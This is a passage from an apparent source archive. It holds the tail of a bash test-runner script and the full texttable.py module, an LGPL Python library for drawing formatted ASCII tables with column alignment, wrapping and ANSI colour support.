(Y for Yes)" -n 1 -r echo if [[ $REPLY =~ ^[Yy]$ ]] then for aTest in "${tests[@]}" do echo -e "\n\e[1m\e[96m[+] TEST that : $aTest $VERBOSE \e[m" eval "$aTest $VERBOSE" isGoodReturnValue $? done echo -e '\e[0;32mDone ! \e[m' else echo -e '\e[0;31mNo check has been done ! \e[m' fi odat-5.1.1/texttable.py000066400000000000000000000504511423220672100150170ustar00rootroot00000000000000#!/usr/bin/env python # # texttable - module for creating simple ASCII tables # Copyright (C) 2003-2011 Gerome Fournier # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA """module for creating simple ASCII tables Example: table = Texttable() table.set_cols_align(["l", "r", "c"]) table.set_cols_valign(["t", "m", "b"]) table.add_rows([ ["Name", "Age", "Nickname"], ["Mr\\nXavier\\nHuon", 32, "Xav'"], ["Mr\\nBaptiste\\nClement", 1, "Baby"] ]) print table.draw() + "\\n" table = Texttable() table.set_deco(Texttable.HEADER) table.set_cols_dtype(['t', # text 'f', # float (decimal) 'e', # float (exponent) 'i', # integer 'a']) # automatic table.set_cols_align(["l", "r", "r", "r", "l"]) table.add_rows([["text", "float", "exp", "int", "auto"], ["abcd", "67", 654, 89, 128.001], ["efghijk", 67.5434, .654, 89.6, 12800000000000000000000.00023], ["lmn", 5e-78, 5e-78, 89.4, .000000000000128], ["opqrstu", .023, 5e+78, 92., 12800000000000000000000]]) print table.draw() Result: +----------+-----+----------+ | Name | Age | Nickname | +==========+=====+==========+ | Mr | | | | Xavier | 32 | | | Huon | | Xav' | +----------+-----+----------+ | Mr | | | | Baptiste | 1 | | | Clement | | Baby | +----------+-----+----------+ text float exp int auto =========================================== abcd 67.000 6.540e+02 89 128.001 efgh 67.543 6.540e-01 90 1.280e+22 ijkl 0.000 5.000e-78 89 0.000 mnop 0.023 5.000e+78 92 1.280e+22 """ __all__ = ["Texttable", "ArraySizeError"] __author__ = 'Gerome Fournier ' __license__ = 'GPL' __version__ = '0.8.1' __credits__ = """\ Jeff Kowalczyk: - textwrap improved import - comment concerning header output Anonymous: - add_rows method, for adding rows in one go Sergey Simonenko: - redefined len() function to deal with non-ASCII characters Roger Lew: - columns datatype specifications Brian Peterson: - better handling of unicode errors """ import re import math import sys import string from functools import reduce try: if sys.version >= '2.3': import textwrap elif sys.version >= '2.2': from optparse import textwrap else: from optik import textwrap except ImportError: sys.stderr.write("Can't import textwrap module!\n") raise def len(iterable): """Redefining len here so it will be able to work with non-ASCII characters """ if not isinstance(iterable, str): return iterable.__len__() try: return len(str(iterable, 'utf')) except: return iterable.__len__() class ArraySizeError(Exception): """Exception raised when specified rows don't fit the required size """ def __init__(self, msg): self.msg = msg Exception.__init__(self, msg, '') def __str__(self): return self.msg class bcolors: PURPLE = '\x1b[95m' BLUE = '\x1b[94m' GREEN = '\x1b[92m' YELLOW = '\x1b[93m' RED = '\x1b[91m' ENDC = '\x1b[0m' WHITE = '' BOLD = '\x1b[1m' UNDERLINE = '\x1b[4m' def get_color_string(type, string): end = bcolors.ENDC if type == bcolors.WHITE: end = '' return '%s%s%s' % (type, string, end) class Texttable: BORDER = 1 HEADER = 1 << 1 HLINES = 1 << 2 VLINES = 1 << 3 def __init__(self, max_width=80): """Constructor - max_width is an integer, specifying the maximum width of the table - if set to 0, size is unlimited, therefore cells won't be wrapped """ if max_width <= 0: max_width = False self._max_width = max_width self._precision = 3 self._deco = Texttable.VLINES | Texttable.HLINES | Texttable.BORDER | \ Texttable.HEADER self.set_chars(['-', '|', '+', '=']) self.reset() def reset(self): """Reset the instance - reset rows and header """ self._hline_string = None self._row_size = None self._header = [] self._rows = [] def set_chars(self, array): """Set the characters used to draw lines between rows and columns - the array should contain 4 fields: [horizontal, vertical, corner, header] - default is set to: ['-', '|', '+', '='] """ if len(array) != 4: raise ArraySizeError("array should contain 4 characters") array = [ x[:1] for x in [ str(s) for s in array ] ] (self._char_horiz, self._char_vert, self._char_corner, self._char_header) = array def set_deco(self, deco): """Set the table decoration - 'deco' can be a combinaison of: Texttable.BORDER: Border around the table Texttable.HEADER: Horizontal line below the header Texttable.HLINES: Horizontal lines between rows Texttable.VLINES: Vertical lines between columns All of them are enabled by default - example: Texttable.BORDER | Texttable.HEADER """ self._deco = deco def set_cols_align(self, array): """Set the desired columns alignment - the elements of the array should be either "l", "c" or "r": * "l": column flushed left * "c": column centered * "r": column flushed right """ self._check_row_size(array) self._align = array def set_cols_valign(self, array): """Set the desired columns vertical alignment - the elements of the array should be either "t", "m" or "b": * "t": column aligned on the top of the cell * "m": column aligned on the middle of the cell * "b": column aligned on the bottom of the cell """ self._check_row_size(array) self._valign = array def set_cols_dtype(self, array): """Set the desired columns datatype for the cols. - the elements of the array should be either "a", "t", "f", "e" or "i": * "a": automatic (try to use the most appropriate datatype) * "t": treat as text * "f": treat as float in decimal format * "e": treat as float in exponential format * "i": treat as int - by default, automatic datatyping is used for each column """ self._check_row_size(array) self._dtype = array def set_cols_width(self, array): """Set the desired columns width - the elements of the array should be integers, specifying the width of each column. For example: [10, 20, 5] """ self._check_row_size(array) try: array = list(map(int, array)) if reduce(min, array) <= 0: raise ValueError except ValueError: sys.stderr.write("Wrong argument in column width specification\n") raise self._width = array def set_precision(self, width): """Set the desired precision for float/exponential formats - width must be an integer >= 0 - default value is set to 3 """ if not type(width) is int or width < 0: raise ValueError('width must be an integer greater then 0') self._precision = width def header(self, array): """Specify the header of the table """ self._check_row_size(array) self._header = list(map(str, array)) def add_row(self, array): """Add a row in the rows stack - cells can contain newlines and tabs """ self._check_row_size(array) if not hasattr(self, "_dtype"): self._dtype = ["a"] * self._row_size cells = [] for i,x in enumerate(array): cells.append(self._str(i,x)) self._rows.append(cells) def add_rows(self, rows, header=True): """Add several rows in the rows stack - The 'rows' argument can be either an iterator returning arrays, or a by-dimensional array - 'header' specifies if the first row should be used as the header of the table """ # nb: don't use 'iter' on by-dimensional arrays, to get a # usable code for python 2.1 if header: if hasattr(rows, '__iter__') and hasattr(rows, 'next'): self.header(next(rows)) else: self.header(rows[0]) rows = rows[1:] for row in rows: self.add_row(row) def draw(self): """Draw the table - the table is returned as a whole string """ if not self._header and not self._rows: return self._compute_cols_width() self._check_align() out = "" if self._has_border(): out += self._hline() if self._header: out += self._draw_line(self._header, isheader=True) if self._has_header(): out += self._hline_header() length = 0 for row in self._rows: length += 1 out += self._draw_line(row) if self._has_hlines() and length < len(self._rows): out += self._hline() if self._has_border(): out += self._hline() return out[:-1] def _str(self, i, x): """Handles string formatting of cell data i - index of the cell datatype in self._dtype x - cell data to format """ try: f = float(x) n = str(f) if n == "nan" or n=="inf" or n=="-inf" : raise ValueError('Infinity or NaN considered as string') except: if type(x) is str: return x else: if x is None: return str(x) else: return str(x.encode('utf-8')) """ n = self._precision dtype = self._dtype[i] if dtype == 'i': return str(int(round(f))) elif dtype == 'f': return '%.*f' % (n, f) elif dtype == 'e': return '%.*e' % (n, f) elif dtype == 't': if type(x) is str: return x else: if x is None: return str(x) else: return str(x.encode('utf-8')) else: if f - round(f) == 0: if abs(f) > 1e8: return '%.*e' % (n, f) else: return str(int(round(f))) else: if abs(f) > 1e8: return '%.*e' % (n, f) else: return '%.*f' % (n, f) """ return str(x) def _check_row_size(self, array): """Check that the specified array fits the previous rows size """ if not self._row_size: self._row_size = len(array) elif self._row_size != len(array): raise ArraySizeError("array should contain %d elements" \ % self._row_size) def _has_vlines(self): """Return a boolean, if vlines are required or not """ return self._deco & Texttable.VLINES > 0 def _has_hlines(self): """Return a boolean, if hlines are required or not """ return self._deco & Texttable.HLINES > 0 def _has_border(self): """Return a boolean, if border is required or not """ return self._deco & Texttable.BORDER > 0 def _has_header(self): """Return a boolean, if header line is required or not """ return self._deco & Texttable.HEADER > 0 def _hline_header(self): """Print header's horizontal line """ return self._build_hline(True) def _hline(self): """Print an horizontal line """ if not self._hline_string: self._hline_string = self._build_hline() return self._hline_string def _build_hline(self, is_header=False): """Return a string used to separated rows or separate header from rows """ horiz = self._char_horiz if (is_header): horiz = self._char_header # compute cell separator s = "%s%s%s" % (horiz, [horiz, self._char_corner][self._has_vlines()], horiz) # build the line l = s.join([horiz * n for n in self._width]) # add border if needed if self._has_border(): l = "%s%s%s%s%s\n" % (self._char_corner, horiz, l, horiz, self._char_corner) else: l += "\n" return l def _len_cell(self, cell): """Return the width of the cell Special characters are taken into account to return the width of the cell, such like newlines and tabs """ cell = re.compile(r'\x1b[^m]*m').sub('', cell) cell_lines = cell.split('\n') maxi = 0 for line in cell_lines: length = 0 parts = line.split('\t') for part, i in zip(parts, list(range(1, len(parts) + 1))): length = length + len(part) if i < len(parts): length = (length//8 + 1) * 8 maxi = max(maxi, length) return maxi def _compute_cols_width(self): """Return an array with the width of each column If a specific width has been specified, exit. If the total of the columns width exceed the table desired width, another width will be computed to fit, and cells will be wrapped. """ if hasattr(self, "_width"): return maxi = [] if self._header: maxi = [ self._len_cell(x) for x in self._header ] for row in self._rows: for cell,i in zip(row, list(range(len(row)))): try: maxi[i] = max(maxi[i], self._len_cell(cell)) except (TypeError, IndexError): maxi.append(self._len_cell(cell)) items = len(maxi) length = reduce(lambda x,y: x+y, maxi) if self._max_width and length + items * 3 + 1 > self._max_width: max_lengths = maxi maxi = [(self._max_width - items * 3 -1) // items \ for n in range(items)] # free space to distribute free = 0 # how many columns are oversized oversized = 0 # reduce size of columns that need less space and calculate how # much space is freed for col, max_len in enumerate(max_lengths): current_length = maxi[col] # column needs less space, adjust and # update free space if current_length > max_len: free += current_length - max_len maxi[col] = max_len # column needs more space, count it elif max_len > current_length: oversized += 1 # as long as free space is available, distribute it while free > 0: # available free space for each oversized column free_part = int(math.ceil(float(free) / float(oversized))) for col, max_len in enumerate(max_lengths): current_length = maxi[col] # column needs more space if current_length < max_len: # how much space is needed needed = max_len - current_length # enough free space for column if needed <= free_part: maxi[col] = max_len free -= needed oversized -= 1 # still oversized after re-sizing else: maxi[col] = maxi[col] + free_part free -= free_part self._width = maxi def _check_align(self): """Check if alignment has been specified, set default one if not """ if not hasattr(self, "_align"): self._align = ["l"] * self._row_size if not hasattr(self, "_valign"): self._valign = ["t"] * self._row_size def _draw_line(self, line, isheader=False): """Draw a line Loop over a single cell length, over all the cells """ line = self._splitit(line, isheader) space = " " out = "" for i in range(len(line[0])): if self._has_border(): out += "%s " % self._char_vert length = 0 for cell, width, align in zip(line, self._width, self._align): length += 1 cell_line = cell[i] fill = width - len(re.compile(r'\x1b[^m]*m').sub('', cell_line)) if isheader: align = "c" if align == "r": out += "%s " % (fill * space + cell_line) elif align == "c": out += "%s " % (fill//2 * space + cell_line \ + (fill//2 + fill%2) * space) else: out += "%s " % (cell_line + fill * space) if length < len(line): out += "%s " % [space, self._char_vert][self._has_vlines()] out += "%s\n" % ['', self._char_vert][self._has_border()] return out def _splitit(self, line, isheader): """Split each element of line to fit the column width Each element is turned into a list, result of the wrapping of the string to the desired width """ line_wrapped = [] for cell, width in zip(line, self._width): array = [] original_cell = cell ansi_keep = [] for c in cell.split('\n'): c = "".join(ansi_keep) + c ansi_keep = [] extra_width = 0 for a in re.findall(r'\x1b[^m]*m', c): extra_width += len(a) if a == '\x1b[0m': if len(ansi_keep) > 0: ansi_keep.pop() else: ansi_keep.append(a) c = c + '\x1b[0m' * len(ansi_keep) extra_width += len('\x1b[0m' * len(ansi_keep)) if type(c) is not str: try: c = str(c, 'utf') except UnicodeDecodeError as strerror: sys.stderr.write("UnicodeDecodeError exception for string '%s': %s\n" % (c, strerror)) c = str(c, 'utf', 'replace') array.extend(textwrap.wrap(c, width + extra_width)) line_wrapped.append(array) max_cell_lines = reduce(max, list(map(len, line_wrapped))) for cell, valign in zip(line_wrapped, self._valign): if isheader: valign = "t" if valign == "m": missing = max_cell_lines - len(cell) cell[:0] = [""] * (missing // 2) cell.extend([""] * (missing // 2 + missing % 2)) elif valign == "b": cell[:0] = [""] * (max_cell_lines - len(cell)) else: cell.extend([""] * (max_cell_lines - len(cell))) return line_wrapped